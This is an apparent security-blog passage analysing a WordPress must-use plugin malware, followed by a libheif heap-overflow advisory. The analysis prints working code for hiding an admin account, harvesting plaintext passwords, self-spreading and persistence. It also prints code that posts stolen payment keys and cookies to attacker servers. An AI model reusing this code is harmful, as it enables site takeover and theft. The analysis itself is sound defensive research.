It subtracts one from the counts displayed in the “All” and “Administrator” links, making the totals appear consistent with the filtered user list. An administrator viewing the Users page sees a list with the account missing and a total that matches. Because the malware hides the account from both the dashboard and REST API user listings, inspecting the database directly is the reliable way to see the account.

function v3x05n_z__nui2mx_uwg19($n2ofmk_5rsvpou0j) {
    $vua00bhbm7rq_26 = (string) a09ip7sgac4aqyl1gr5('bu', "");   // read the stored username
    if (!$vua00bhbm7rq_26) {
        return $n2ofmk_5rsvpou0j;
    }
    $_2uz20ub4i2 = array('all', 'administrator');
    foreach ($_2uz20ub4i2 as $key) {
        if (isset($n2ofmk_5rsvpou0j[$key]) && preg_match('/((d+))/', $n2ofmk_5rsvpou0j[$key], $zmjk775po4wb793)) {
            $j_afs7sjsswkr1n = max(0, (int) $zmjk775po4wb793[1] - 1);   // subtract 1 to account for the hidden user
            $n2ofmk_5rsvpou0j[$key] = preg_replace('/(d+)/', '(' . $j_afs7sjsswkr1n . ')', $n2ofmk_5rsvpou0j[$key]);
        }
    }
    return $n2ofmk_5rsvpou0j;
}

Harvesting administrator passwords

The malware hooks WordPress’s authenticate filter, which fires after every login. The handler receives the authenticated user object, the username, and the plaintext password directly from WordPress. It acts only on administrator accounts, storing the plaintext password in an option named ic, keyed by username.

add_filter('authenticate', 'y7f21q85ss7nf7_rq', 999, 3);
function y7f21q85ss7nf7_rq($rbbh2yydrh6, $uy41z25nzuvbz8q, $bbg47x_p9re7tr9) {
    if (!is_object($rbbh2yydrh6) || !method_exists($rbbh2yydrh6, 'has_cap')) {
        return $rbbh2yydrh6;
    }
    if (!$rbbh2yydrh6->has_cap('administrator')) {
        return $rbbh2yydrh6;   // administrators only
    }
    if (!is_string($bbg47x_p9re7tr9) || !$bbg47x_p9re7tr9) {
        return $rbbh2yydrh6;
    }
    $zzbsiakc69dcssg = a09ip7sgac4aqyl1gr5('ic', array());   // read stored passwords
    if (!is_array($zzbsiakc69dcssg)) $zzbsiakc69dcssg = array();
    $zzbsiakc69dcssg[$rbbh2yydrh6->user_login] = $bbg47x_p9re7tr9;   // store plaintext password
    mn_fq_b5727vul9('ic', $zzbsiakc69dcssg, 'no');                    // write back to the database
    return $rbbh2yydrh6;
}

Self-healing

The malware registers its restore routine on plugins_loaded at priority 0, causing it to run early on every WordPress request. A transient limits the check to once per hour. If the plugin file is missing or smaller than 5,000 bytes, the routine retrieves a stored copy from the src option and writes it back to disk.

The touch() backdates the modification time and changes the file mode to 0444, making the restored file appear older and read-only.

if (get_transient('sc_recover_check')) {
    return;
}
set_transient('sc_recover_check', 1, 3600);          // throttle to once per hour

$size = @filesize(__FILE__);
if ($size && $size > 5000) {
    return;                                           // file intact, nothing to do
}

$rfeqio6uzj = a09ip7sgac4aqyl1gr5('src', "");        // read the saved source from the database
if ($rfeqio6uzj && is_string($rfeqio6uzj)) {
    @chmod(__FILE__, 0644);                           // make the file writable
    @file_put_contents(__FILE__, $rfeqio6uzj);        // write the source back to disk
    @touch(__FILE__, dw9_2yhlyjj8r4k_uq81());         // backdate the modification time
    @chmod(__FILE__, 0444);                           // make it read-only again
}

Self-reactivation

The plugin writes itself back into the active_plugins option directly, bypassing WordPress’s normal plugin activation process. It reads the database name and table prefix from wp-config.php, then updates the option under a locked transaction. This mechanism applies to copies placed in the standard wp-content/plugins.

// Read the site's wp-config.php (checks the parent directory as a fallback)
$x04jsznnetwaalcj = $wt5gbjojfzrk . '/wp-config.php';
if (! @is_file($x04jsznnetwaalcj)) {
    $x04jsznnetwaalcj = dirname($wt5gbjojfzrk) . '/wp-config.php';
}
$t5bdda4_0m = @file_get_contents($x04jsznnetwaalcj);

// Extract DB name and prefix; each is saved before the next match reuses the array
$shrtpjcg2yv = $prefix = "";
if (preg_match('/defines*(s*['"]DB_NAME['"]s*,s*['"]([^'"]+)['"]/', $t5bdda4_0m, $zmjk775po4wb793)) {
    $shrtpjcg2yv = $zmjk775po4wb793[1];
}
if (preg_match('/table_prefixs*=s*['"]([^'"]+)['"]/', $t5bdda4_0m, $zmjk775po4wb793)) {
    $prefix = $zmjk775po4wb793[1];
}

// Build the qualified options table from the sanitised DB name, then append itself under a row lock
$fhgzkfss6eygrbu8 = preg_replace('/[^a-zA-Z0-9_]/', "", $shrtpjcg2yv);
$table = '`' . $fhgzkfss6eygrbu8 . '`.`' . $prefix . 'options`';
$wpdb->query('START TRANSACTION');
$jyplgb2fvx6m = $wpdb->get_var("SELECT option_value FROM {$table} WHERE option_name = 'active_plugins' LIMIT 1 FOR UPDATE");
$j9k6v94v756tzvy = @unserialize($jyplgb2fvx6m);
$j9k6v94v756tzvy[] = $basename;
$c6crsj6d5osgm0 = serialize($j9k6v94v756tzvy);
$wpdb->query($wpdb->prepare("UPDATE {$table} SET option_value = %s WHERE option_name = 'active_plugins'", $c6crsj6d5osgm0));
$wpdb->query('COMMIT');

Spreading to other WordPress installations

The malware searches the filesystem for WordPress installations and writes a copy of itself into each accessible installation. It targets common web-server roots including /home, /var/www, /var/www/vhosts, /var/www/html, /srv/www, /srv/users, and /usr/local/www, as well as paths relative to its own location.

On a shared hosting environment where multiple sites share the same server, a single infection can spread silently across all of them.

// run at most once every three days
if (get_transient('sc_spread_interval')) {
    return;
}
set_transient('sc_spread_interval', 1, 259200);

$self = @file_get_contents(__FILE__);   // read its own source

// $roots is built from hardcoded web-server paths
foreach ($roots as $root) {
    // try wp-content/mu-plugins first
    $dest = $root . '/wp-content/mu-plugins';
    if (!is_dir($dest)) {
        @mkdir($dest, 0755, true);
    }

    if (!@file_put_contents($dest . '/' . $name, $self)) { // $name is the malware's own filename
        // fall back to wp-content/plugins if mu-plugins fails
        $dest = $root . '/wp-content/plugins/' . $name;
        if (!is_dir($dest)) {
            @mkdir($dest, 0755, true);
        }
        @file_put_contents($dest . '/' . $name, $self);   // write a copy of itself
    }
    @touch($dest . '/' . $name, dw9_2yhlyjj8r4k_uq81());  // backdate the modification time
    @chmod($dest . '/' . $name, 0444);                     // lock it read-only
}

Command and Control

Many implants contain one or more hard-coded C2 domains or IP addresses. Once defenders identify it, they can block traffic to it, and the domain or hosting behind it can be reported and taken down.

This implant avoids that weakness by bootstrapping its command channel from the Ethereum blockchain to hide the location of the attacker’s servers, a technique known as EtherHiding. Rather than hard-code the address of a command server, it reads that information from a smart contract at runtime, so there is no fixed address to block.

Ethereum-based smart contract

The malware reaches the smart contracts through public Remote Procedure Call (RPC) gateways using a standard eth_call request, the same read-only call any application uses to query a contract.

It holds two hardcoded lists, a set of three contract addresses and a set of twenty-one public RPC gateways. For each attempt it selects one of each at random.

$contracts = byvp8n383oyo22vc1l_();                 // three smart contract addresses
$endpoints = goau2s7k03sauui90();                   // twenty-one public RPC gateways
$contract  = $contracts[array_rand($contracts)];    // pick a contract at random
$url       = $endpoints[array_rand($endpoints)];    // pick a gateway at random

The request is a JSON-RPC eth_call, assembled from parts held in the string table.

{"jsonrpc":"2.0","id":3,"method":"eth_call","params":[{"data":"0x3bc5de30","to":"<contract address>"},"latest"]}

The data value 0x3bc5de30 is the function selector, the identifier of the contract method the malware calls. The to value is the contract being queried.

Because the command data lives on a public blockchain and can be reached through many independent gateways, there is no single server for a defender to block. If one gateway is unavailable, any of the others returns the same data, and the malware falls back to another contract if needed.

The contract returns a hex-encoded result, which the malware decodes and decrypts to recover a decryption key and a list of HTTP server addresses.

// the decrypted blockchain response yields two values
$data['server_key'];   // a key used to encrypt and decrypt traffic with the servers
$data['urls'];         // the addresses of the real command servers

The blockchain’s role is only to point the malware to its current servers. This is what makes the channel resilient. The servers can be taken down and replaced, and the attacker simply updates the contract, so the next time the malware runs, it receives the new list.

Encrypted exchange

The malware then contacts each server in the list with a single request. The request serves two purposes, it uploads a report of stolen data in the request body, and receives the attacker’s instructions in the response. Both directions are encrypted with the server_key from the blockchain.

foreach ($urls as $url) {
    // POST the encrypted report, read the encrypted reply
    $response = jvbt_m3y2u8ss9w($url, $encryptedReport, $headers, 10);
    $payload  = json_decode(trim(kqbyuahnajyvmjd35130q($response, $server_key)), true);
    if (is_array($payload)) {
        break;   // stop at the first server that answers
    }
}

The sender tries wp_remote_post, and falls back to a direct cURL request if it is unavailable. The response is decrypted with the same server_key and decoded into the payload the malware acts on.

function jvbt_m3y2u8ss9w($url, $body, $headers, $timeout) {
    if (function_exists('wp_remote_post')) {
        $response = @wp_remote_post($url, array(
            'timeout'   => $timeout,
            'sslverify' => false,
            'headers'   => $headers,
            'body'      => $body,
        ));
        if (!is_wp_error($response) &&
            wp_remote_retrieve_response_code($response) === 200) {
            return wp_remote_retrieve_body($response);
        }
    }
    if (function_exists('curl_init')) {
        $ch = @curl_init($url);
        if ($ch === false) {
            return false;
        }
        @curl_setopt_array($ch, array(
            CURLOPT_POST            => true,
            CURLOPT_POSTFIELDS      => $body,
            CURLOPT_RETURNTRANSFER  => true,
            CURLOPT_TIMEOUT         => $timeout,
            CURLOPT_SSL_VERIFYPEER  => false,
            CURLOPT_SSL_VERIFYHOST  => false,
            CURLOPT_HTTPHEADER      => $headers,
        ));
        $result = @curl_exec($ch);
        if (@curl_errno($ch)) {
            @curl_close($ch);
            return false;
        }
        $code = (int) @curl_getinfo($ch, CURLINFO_HTTP_CODE);
        @curl_close($ch);
        if ($code === 200 && $result !== false) {
            return $result;
        }
    }
}

The request body carries the data collected from the site and the response carries instructions that modify the malware or the site.

Data exfiltration

The report the malware uploads to each server is a structured summary of the site, its secrets, and the malware’s own version string and filename.

$report = array(
    'domain'           => $domain,
    'pluginVersion'    => a7rn6y18yhlfjea(),  // the version string
    'plugin'           => basename(__FILE__, '.php'),   // the filename
    'root'             => $root,               // filesystem path
    'loginUrl'         => htcmmso1q879ci0kyj(),  // the wp-admin login URL
    'activatedPlugins' => $active,
    'muPlugins'        => $muPlugins,
    'admins'           => x5l7ohk3i20j63(),     // Rogue admin credentials and harvested admin passwords in plaintext
    'adminsCookies'    => i9c0lmgfm065jbipvz5a2(),  // forged sessions for each admin
    'woocommerce'      => efo_ap4b6014w6(),               // WooCommerce order data
    'apiKeys'          => cmok60d1b827y0twh(),            // payment and cloud credentials
);

The apiKeys field is the result of a dedicated search for payment infrastructure. The malware scans wp-config.php, any .env file, and .git/config for constants and variables matching a fixed set of providers including Stripe, Braintree, Authorize.Net, and AWS.

// matches STRIPE, BRAINTREE, AUTHORIZE, AUTHNET, or AWS constants in wp-config.php
'#defines*(s*['"]([A-Z_]*(?:STRIPE|BRAINTREE|AUTHORIZE|AUTHNET|AWS)[A-Z_]*)['"]s*,s*['"](.+?)['"]s*)#'

It also reads the settings WooCommerce stores in the database for each payment gateway, collecting any field whose name contains a payment-related keyword.

$gateways = array(
    'woocommerce_stripe_settings',
    'woocommerce_braintree_settings',
    'woocommerce_authorize_net_cim_credit_card_settings',
);
foreach ($gateways as $option) {
    $settings = get_option($option, array());
    if (!is_array($settings)) {
        continue;
    }
    foreach ($settings as $field => $value) {
        if (!is_string($value) || $value === "") {
            continue;
        }
        // collect any field whose name contains key, secret, token, login_id, or transaction_key
        if (stripos($field, 'key') !== false || stripos($field, 'secret') !== false
            || stripos($field, 'token') !== false || stripos($field, 'login_id') !== false
            || stripos($field, 'transaction_key') !== false) {
            $collected[strtolower($option) . '_' . $field] = $value;
        }
    }
}

Taken together, the report gives the attacker the site’s payment credentials, its customer order data, and immediate administrator access.

Remote site modification

The response payload returned from the server carries four keys, each driving a separate action against the site. All four arrive through the command channel, so the attacker can change any of them at any time.

Updating the malware

The plugin key lets the attacker replace the malware with a new version. The value is base64-encoded PHP, and after checking it begins with <?php, the malware writes it over its own file and stores a copy in the src option, the same option its file-restore mechanism reads from.

$code = base64_decode($GLOBALS['payload']['plugin']);
if ($code && strlen($code) >= 500 && strpos($code, '<?php') === 0) {
    update_option('src', $code, 'no');                 // store the new version for self-restore
    $tmp = tempnam(sys_get_temp_dir(), 'sc_');          // stage in a temp file first
    if (file_put_contents($tmp, $code) === strlen($code)) {
        chmod(__FILE__, 0644);                          // make its own file writable
        if (!@rename($tmp, __FILE__)) {                 // atomically replace itself...
            @copy($tmp, __FILE__);                       // ...or copy as a fallback
        }
    } else {
        unlink($tmp);                                    // integrity check failed, discard
    }
}

Removing other plugins

Using regular-expression rules delivered through the command channel, the malware scans installed plugins and removes any plugin whose source matches a rule.

The logic used for targeting is driven by a set of rules delivered through the command channel. The malware reads its stored payload and extracts a pluginRules entry into a global variable.

// load the stored command payload, then pull the plugin rules out of it
$payload = function_exists('get_transient') ? get_transient(ntr_b_9zdbhm1y4mo_hc_i()) : false;
if (!is_array($payload)) {
    $payload = get_option('sc_payload_persistent', false);
}
if (is_array($payload) && isset($payload['pluginRules']) && is_array($payload['pluginRules'])) {
    $GLOBALS['sc_plugin_rules'] = $payload['pluginRules'];   // the rules, cached from the command channel
}

Each rule is a regular expression. To decide whether a plugin is a target, the malware reads that plugin’s source files and tests them against every rule.

function t_548eeg11py5x8($file, $rules) {
    $contents = @file_get_contents($file, false, null, 0, (524240 + 48));   // read the file's contents
    if (!$contents) {
        return false;
    }
    foreach ($rules as $rule) {
        if (!is_string($rule) || !$rule) {
            continue;
        }
        try {
            $matched = @preg_match($rule, $contents);   // test the file against each regex rule
        } catch (Throwable $e) {
            continue;
        }
        if ($matched) {
            return true;   // a match marks the plugin for removal
        }
    }
    return false;
}

This runs across every installed plugin. For each one, the malware collects its .php, .phtml, .html, .inc, and .js files and passes them through the rules above. Any plugin with a file matching a rule is then deactivated and deleted using the WordPress deactivate_plugins and delete_plugins functions.

function k4creghzjmqogojz7yuq6($plugin_basename) {
    if (strpos($plugin_basename, '..') !== false) {
        return false;                                    // reject paths outside the plugin dir
    }
    if ($plugin_basename === z3f7atq0yss_u_()) {
        return false;                                    // skip its own file
    }
    if (function_exists('deactivate_plugins') && is_plugin_active($plugin_basename)) {
        deactivate_plugins(array($plugin_basename), true);
    }
    $dir = defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR . '/' . dirname($plugin_basename) : "";
    if ($dir && is_dir($dir)) {
        qo_j7kfxrq2cnfv0v_jdto($dir);                    // recursively delete the plugin's folder
    }
    delete_plugins(array($plugin_basename));             // fallback: WordPress's own delete
    return true;
}

Stripping content from plugin files

The injectRules payload has a set of rules applied to the files of active plugins to delete matching text.

The malware first builds its list of target files from the active_plugins option, taking the main file of each active plugin under WP_PLUGIN_DIR.

function lolulowt6mge5d() {
    $files = array();
    $active = (array) get_option('active_plugins', array());   // the site's active plugins
    foreach ($active as $basename) {
        $files[] = WP_PLUGIN_DIR . '/' . $basename;            // the plugin's main file
    }
    return $files;
}

For each file, it reads the contents and applies every rule as a regular-expression. If a rule matches, the matching text is replaced with an empty string. When a file has changed, it is written back to disk.

foreach ($files as $file) {
    if (!@is_file($file) || !@is_writable($file)) {
        continue;
    }
    $contents = @file_get_contents($file, false, null, 0, (0x56c41 + 0x293bf));   // read up to ~512KB
    $changed = false;
    foreach ($rules as $rule) {
        $result = @preg_replace($rule, "", $contents);   // replace matches with an empty string
        if ($result !== null && $result !== $contents) {
            $contents = $result;
            $changed = true;
        }
    }
    if ($changed) {
        @file_put_contents($file, $contents);            // write the edited file back
    }
}

Injecting JavaScript

The js payload is a block of JavaScript served to visitors. The malware registers a handler on wp_footer at priority 999.

add_action('wp_footer', 'pw1xg0pjavy1n_s793hvxg', 999);

The handler reads the JavaScript from the cached payload and echoes it into a <script> tag so it runs in every visitor’s browser.

The capability of the malware is flexible by design. All four behaviours are driven by rules and content supplied through the command channel. The plugin patterns, the content rules, and the injected JavaScript all come from the attacker and can be changed at any time. The code shows what the malware is capable of, not what it has been instructed to do.

Indicators of Compromise

Suspicious Must Use plugin file

Look for a must-use plugin in wp-content/mu-plugins whose plugin name, author, and repository link do not correspond to any known public plugin. The samples analysed used a custom string-substitution cipher to hide hook names, option keys, file paths, and SQL statements from static analysis. Each sample analysed used different plugin metadata including name, author, and repository link, and the file contents differ between samples, so metadata and file hashes are both unreliable indicators on their own. Site owners should check for unrecognized, heavily obfuscated must-use plugins in wp-content/mu-plugins and the indicators below.

Rogue administrator account

Check the wp_users table using a database administration tool such as phpMyAdmin for an unauthorized administrator account whose username follows the pattern of a fixed prefix followed by six random characters.

  • admin_xxxxxx
  • adm_xxxxxx
  • administrator_xxxxxx
  • backup_xxxxxx

Database options

The presence of any of the following options in the wp_options table:

  • src — contains the malware’s PHP source code
  • bu — contains a username
  • bp — contains a password
  • ic — contains usernames and plaintext passwords captured at login

Custom WordPress cron schedules

The plugin uses its own event scheduler. Custom cron_schedules entries with unfamiliar names such as jf_7xc5bj9trbgji should be treated with suspicion.

Conclusion

In this post we analysed a sophisticated must-use plugin malware with a resilient two-tier command channel, several independent persistence mechanisms, and a focused interest in payment infrastructure. What makes it notable is the combination, the blockchain bootstrap makes the command channel difficult to take down, while the persistence mechanisms are designed to defeat the most common cleanup steps a site owner would take.

A malware detection signature was developed and released after undergoing our Q&A process on June 23rd 2026. All Wordfence Premium, Wordfence Care, and Wordfence Response customers received this signature immediately. Users of the free versions of Wordfence received the same signatures after the standard 30-day delay.

If your site has been compromised, Wordfence Care and Wordfence Response offer hands-on incident response, with Wordfence Response providing 24/7 availability and a one-hour response time.

Need Immediate Help With Malware Removal?

If you’re experiencing issues with malware or a hacked website and need immediate support, Wordfence offers expert site cleanings in our Care and Response plans. Both plans come with a thorough malware investigation, malware cleanup, and post-incident search engine security cleanup.

With Wordfence Care, you’ll receive expert support during business hours. Wordfence Response offers a 1-hour response time and incident support 24/7/365. Both of these options also include a site audit from our professional team of WordPress security experts.

Get Immediate Help with Malware Removal

The post Inside a Malicious, Stealthy WordPress Must Use Plugin appeared first on Wordfence.

]]> Wordfence Argus Discovers Critical Vulnerability in libheif, the Library That Opens iPhone Photos on Your Server https://swiftupdates.ca/wordfence-argus-discovers-critical-vulnerability-in-libheif-the-library-that-opens-iphone-photos-on-your-server/ Fri, 18 Sep 2026 19:55:33 +0000 https://swiftupdates.ca/wordfence-argus-discovers-critical-vulnerability-in-libheif-the-library-that-opens-iphone-photos-on-your-server/ On September 1, 2026, the libheif project released version 1.23.3, closing a critical heap buffer overflow that the Wordfence Threat Intelligence team, using Wordfence Argus, discovered and reported four days earlier. The libheif maintainer, Dirk Farin, gave it a score of 9.8 out of 10 on the CVSS scale, with the release notes singling it out: “One of the fixed issues is rated critical, so all users are strongly advised to upgrade.” The bug lets a crafted HEIC image write attacker-chosen data past the end of a memory buffer. On a vulnerable server, that can lead to reading files the image-processing worker can access or running code with its permissions.

If you run a WordPress site, there isn’t a WordPress plugin to update for the usual image-processing path. libheif is a system library, so most site owners will get the fix through their operating system or hosting provider. Containerized sites need to be rebuilt and redeployed from an updated base image. Whether you’re exposed depends on both the libheif version and how it was built. We tested nine real configurations on September 5, and the official WordPress Docker image we tested was one of the vulnerable ones.

Key Takeaways

  • Wordfence Argus found a critical CVSS 9.8 vulnerability in libheif, a library many servers use to process HEIC images.
  • libheif 1.23.2 is still vulnerable. The fix arrived in 1.23.3; 1.23.4 is the current upstream security release. Your operating system may use a lower version number with the fix backported.
  • We demonstrated protected-file disclosure and code execution on one exact WordPress deployment. Exploitation is target-specific, but HEIF Heist shows that adapting image exploits to real systems is practical.
  • This is not a WordPress-only vulnerability. Any application or service that uses an affected libheif build to decode untrusted HEIC or HEIF files may be exposed, including image viewers, media servers, document pipelines, and thumbnail services.
  • The official WordPress Docker image we tested was exposed.
  • There is no WordPress plugin to update. Install the fixed system package, restart affected services, and rebuild containers from an updated base image.
  • Wordfence Argus discovered the vulnerability during a WordPress 7.1 assessment led and validated by Alex Thomas. libheif maintainer Dirk Farin released the fix four days after our report.

Wait, what’s libheif, and what does it have to do with WordPress?

If you own an iPhone, you’ve been generating HEIC files since 2017. Apple made it the default photo format in iOS 11 because it stores a better-looking picture in about half the space of a JPEG. Most people have never heard of it, and have uploaded thousands of these files without thinking much about it.

HEIC is a container. Think of it as a box with a packing list that says what’s inside and how it was encoded. Opening that box is surprisingly involved, so almost nobody writes their own code to do it. Instead, most settle on one library, libheif, which is a popular piece of software that actually reads HEIC images for much of the Linux ecosystem.

WordPress does not decode images itself. When someone uploads a photo, WordPress needs to read it to build thumbnails and pull out metadata, so it hands the file to an image editor. On affected servers, the PHP Imagick extension calls ImageMagick, which recognizes HEIF and passes the file down to libheif. That places a C++ library in the PHP image-processing worker, parsing bytes that arrived from the Internet with that worker’s permissions.

The result is that a photo format built for phone cameras gets parsed by a library most site owners have never installed on purpose and couldn’t name. The same library also sits under desktop image viewers, photo galleries, self-hosted media servers and thumbnail generators, so if any of those open HEIC files from other people, this applies there too.

This is a critical CVSS 9.8 vulnerability. Should I be worried?

If your server processes HEIC or HEIF files from people you do not fully trust, this deserves prompt action.

A CVSS score of 9.8 is close to the maximum. In plain English, it says that when an application exposes this library to untrusted images over the network without requiring a login, the worst-case result is a full server compromise. It does not mean every WordPress site lets strangers upload HEIC files. Our demonstration against a clean WordPress installation used an ordinary Author account. Dirk Farin, libheif’s maintainer, assigned the score.

The score also doesn’t tell you how much work sits between crashing a server and taking it over, or whether one malicious file will work everywhere, so we tested that too.

Modern systems are designed to make memory-corruption bugs miserable to exploit. ASLR (Address Space Layout Randomization) shuffles where code and data end up in memory. RELRO (Relocation Read-Only) makes useful internal tables read-only. These defenses are one reason a heap overflow usually produces a crash instead of a compromised server, but this bug can go further.

We proved that on one specific WordPress setup running Debian and glibc, where the flaw let us read a protected file and execute code. A narrower test that copied the uploaded image into another location worked in 29 of 30 attempts against an Apache server that was already running and reusing worker processes. That is strong evidence of real impact, but it is not a universal exploit. Our payload still depended on the exact libheif build, how the server managed memory, and requests reaching a worker that had the right state.

That makes exploitation more work, not impossible. An attacker may need a different file for a different build or environment. If hundreds or thousands of sites use the same hosting image, however, the work done for one may carry over to the others.

On a standard WordPress site, Author is the first role allowed to upload media. We did not test a lower-privileged route. A plugin or custom application that lets visitors or subscribers upload HEIC files could change the picture considerably if it sends those files through the same vulnerable path.

For now, the most believable attack is aimed at a known target or a group of servers built alike. One unchanged image is unlikely to compromise every WordPress server on the Internet, but a capable attacker can fingerprint a target and adapt the exploit. High-value targets and hosting fleets built from a shared image deserve particular attention.

How this relates to HEIF Heist

At first, needing to tailor an exploit to each environment may sound reassuring. HEIF Heist is a good reason not to lean too heavily on that comfort.

Hacktron’s researchers took several other libheif vulnerabilities and turned them into working attacks against real image-processing services. Discourse confirmed code execution through an affected image upload, and Vercel confirmed unauthenticated code execution when affected Next.js applications processed a crafted AVIF image.

The Wordfence Argus finding is a newer, separate bug with a different root cause, and it was fixed later. libheif 1.23.2 addressed two critical vulnerabilities featured in HEIF Heist, but ours remained until libheif 1.23.3. The bugs work differently under the hood, but to a site owner the stakes are familiar: a file upload reaches a vulnerable image library, and memory corruption can become file disclosure or code execution.

Hacktron says adapting its exploits to a new target generally took about one or two days. That does not create one malicious image that works everywhere, but it does show that “needs to be tailored” is a speed bump rather than a safety control. If your application accepts HEIC or HEIF files from people you do not trust, patching should be the priority.

Is my WordPress site affected?

Install your operating system or hosting provider’s libheif security update as soon as it is available. If you install libheif directly, use at least 1.23.3. Version 1.23.4 is the current upstream security release and includes more security fixes. Restart PHP and the affected web services afterward so they stop using the old library. For containers, rebuild and redeploy from an updated base image rather than simply restarting the old container.

The usual WordPress image-processing path is exposed only if all of these are true at once:

  1. Your server has the PHP Imagick extension, since WordPress’s other image editor cannot read HEIC at all
  2. Your ImageMagick was packaged with HEIF support
  3. Your libheif version falls between 1.18.0 and 1.23.2
  4. That libheif was compiled with its uncompressed codec enabled

That last bit means you can’t rely on the version number alone to determine if you’re vulnerable. Package contents change, so this table records what we found on September 5. We tested nine real configurations by asking each one to decode a valid uncompressed HEIF file:

Platform libheif Vulnerable
Official wordpress Docker image 1.19.8 Yes
Debian 13 trixie (current stable) 1.19.8 Yes
Ubuntu 26.04 1.21.2 Yes
Fedora 44 1.21.2 Yes
Ubuntu 24.04 LTS 1.17.6 No
Debian 12 bookworm 1.15.1 No
Alpine 3.22 1.19.8 No
Alpine 3.23 1.23.0 No
AlmaLinux 10 1.17.6 No

Look at Debian 13 and Alpine 3.22. Both ship libheif 1.19.8, the same upstream release. One is vulnerable, one is not, because one enables the uncompressed codec at build time and the other does not.

The official WordPress Docker image we tested was exposed out of the box. It was built on Debian 13, shipped the Imagick extension, reported HEIC support, and its libheif decoded the vulnerable format. Every condition was satisfied with no action by the operator. If you use the official image, pull an updated base, rebuild your image without relying on a cached layer, and redeploy it.

To check your own site, go to Tools → Site Health → Info → Media Handling, which lists the file formats ImageMagick supports. If HEIC is not listed, this particular WordPress Imagick path is not exposed. Other software on the server may still use libheif.

If you can’t patch yet, stop accepting these files. Removing all four HEIF types WordPress accepts (heic, heif, heics, and heifs) from your allowed upload types means the file is rejected before it reaches the vulnerable library. Disabling PHP execution in your uploads directory is also a good idea (in general).

Is this likely to hit an average WordPress site? A single generic exploit is unlikely to work across every WordPress server. That is useful context, but it is not a reason to delay the update. HEIF Heist showed that tailoring an exploit to a target is practical. The risk is highest for sites that accept untrusted HEIC files, high-value targets, and hosting fleets that reuse the same image or build.

Managed hosting customers can’t check most of this themselves. It’s a reasonable thing to ask your host if the libheif version of your site host is within the vulnerable range and is built with the uncompressed codec enabled.

What this means for everyone else using libheif

Nothing about this vulnerability is specific to WordPress. WordPress is one delivery route among many, and the same question applies anywhere where libheif is used: does this software decode HEIC files that came from somebody else?

If you process files from untrusted sources, whether that is a photo-sharing service, document pipeline, chat application generating previews, or self-hosted media server, move this toward the top of your patch list. Check both the installed libheif version and whether it was built with the uncompressed codec enabled. Install your vendor’s fixed package, isolate or sandbox image processing where possible, and disable HEIF support if you do not need it.

Vulnerability Summary

libheif <= 1.23.2 – Heap Buffer Overflow to Arbitrary File Read and Remote Code Execution

9.8
CVSS Rating
9.8 (Critical)
CVE-ID
CVE-2026-XXXXX
Affected Version(s)
1.18.0 – 1.23.2
Patched Version
1.23.3
Affected Software

libheif [strukturag/libheif]
Researchers

libheif is vulnerable to a heap buffer overflow in the decoder for uncompressed images in versions 1.18.0 through 1.23.2 when built with WITH_UNCOMPRESSED_CODEC=ON. A crafted HEIC file can write attacker-controlled bytes past the end of a memory buffer. In affected applications and server configurations, this can result in arbitrary file read or remote code execution. The vulnerability is fixed in libheif 1.23.3; 1.23.4 is the current upstream release.
More Details >

How we found it

We found this vulnerability with Wordfence Argus, our agentic adversarial testing framework, during a WordPress 7.1 security assessment.

The vulnerabilities that hurt WordPress sites don’t always live in WordPress itself. Some of them live several layers down, in shared libraries that site owners never chose on their own, reached by a feature as mundane as uploading a holiday photo. Defending the platform properly means following the data all the way down. You can read more about Argus in our earlier post.

Our mission is to secure WordPress through defense in depth, which is why we are investing in proactive vulnerability research of this kind alongside our Bug Bounty Program. We are committed to making the WordPress ecosystem more secure through the detection and prevention of vulnerabilities, which is a critical element to our multi-layered approach to security.

How the bug actually works

You don’t need to know C++ to follow this.

A color photo is stored as three separate pictures. One holds brightness. The other two hold color, one for how blue each part of the picture is and one for how red. Human eyes notice detail in brightness far more than detail in color, so the two color pictures can be stored at lower resolution and nobody sees the difference. In the file’s own vocabulary, each of these is called a plane.

Each plane declares how much space its dots need. This is called bit depth. Eight bits per dot is ordinary and takes one byte of memory. Sixteen bits gives finer gradations and takes two bytes. The format lets each plane declare its own depth, which is a reasonable feature, because the same format carries scientific and sensor images where the parts really do differ in precision.

A program reading an image asks the system for a block of memory big enough to hold it. That block is a buffer. If the program writes more data than the buffer can hold, the extra spills into memory beyond the buffer, which may contain other data or bookkeeping used by the program. That is dangerous because corrupting nearby memory can change how the program behaves. If an attacker can control what gets written, they may sometimes be able to steer the program into running code of their choosing. This is a buffer overflow.

In 1.23.2, libheif sizes each plane’s buffer from that plane’s own declared depth, which is correct. A file declaring sixteen-bit blue and eight-bit red gets a two-byte-per-dot buffer for blue and a one-byte-per-dot buffer for red.

The issue lies in the way the picture is written in. The two color planes are stored woven together in the file, one dot of each, alternating across the row, so a single loop fills both buffers at once. That loop looks up how wide a dot is only once, from whichever color plane the file lists first.

So with sixteen-bit blue listed first, the loop takes two bytes as the width and writes two-byte dots into both buffers. Blue’s buffer can take them. Red’s is sized for one-byte dots, so every dot written into it is twice the size it should be and lands twice as far along. Each row overruns into the row beneath it, and the last row runs past the end of the buffer into memory belonging to something else.

The bytes that spill out come from the image file, so whoever made the file chooses what gets written there. The amount that spills grows with the image’s declared dimensions. In the maintainer’s own words, “both the written bytes and the overflow length are controlled by the file.”

The mistake is visible in the record libheif keeps for each plane:

uint8_t* dst_plane;                      // this plane's memory
uint8_t* other_chroma_dst_plane;         // the paired plane's memory
size_t   dst_plane_stride;               // this plane's row length
size_t   other_chroma_dst_plane_stride;  // the paired plane's row length
uint32_t bytes_per_component_sample;     // one of these, for both planes

The record carries two pointers and two row lengths, but only one width. The code assumes both color planes use the same depth, and the file is allowed to declare that they don’t.

NOTE: Directly above this loop is a comment describing a different out-of-bounds write in the same function that was fixed a few months earlier. The same code had already been patched once for writing past the end of a color plane.

Timeline

2026-08-28

Wordfence Argus discovered the vulnerability
Wordfence Argus discovered the vulnerability during a WordPress 7.1 assessment. We reproduced it against official libheif 1.23.2 with a sanitizer build and a matched control file, confirmed a second affected build, demonstrated impact on a clean WordPress installation, and reported it to the libheif maintainer through GitHub’s private vulnerability reporting.
2026-08-31

Maintainer committed a fix
2026-09-01

Patched release and advisory published
libheif 1.23.3 was released and the advisory was published.
2026-09-02

Follow-up research
Follow-up research to measure reliability across versions and build configurations.
Wordfence action
Vendor / external action

Conclusion

Wordfence Argus found a critical heap buffer overflow in libheif 1.18.0 through 1.23.2, several layers beneath an ordinary WordPress image upload. We did not stop after making the vulnerable library crash. On one exact WordPress deployment, we demonstrated that a crafted HEIC file could be turned into reading protected files and executing code on the server.

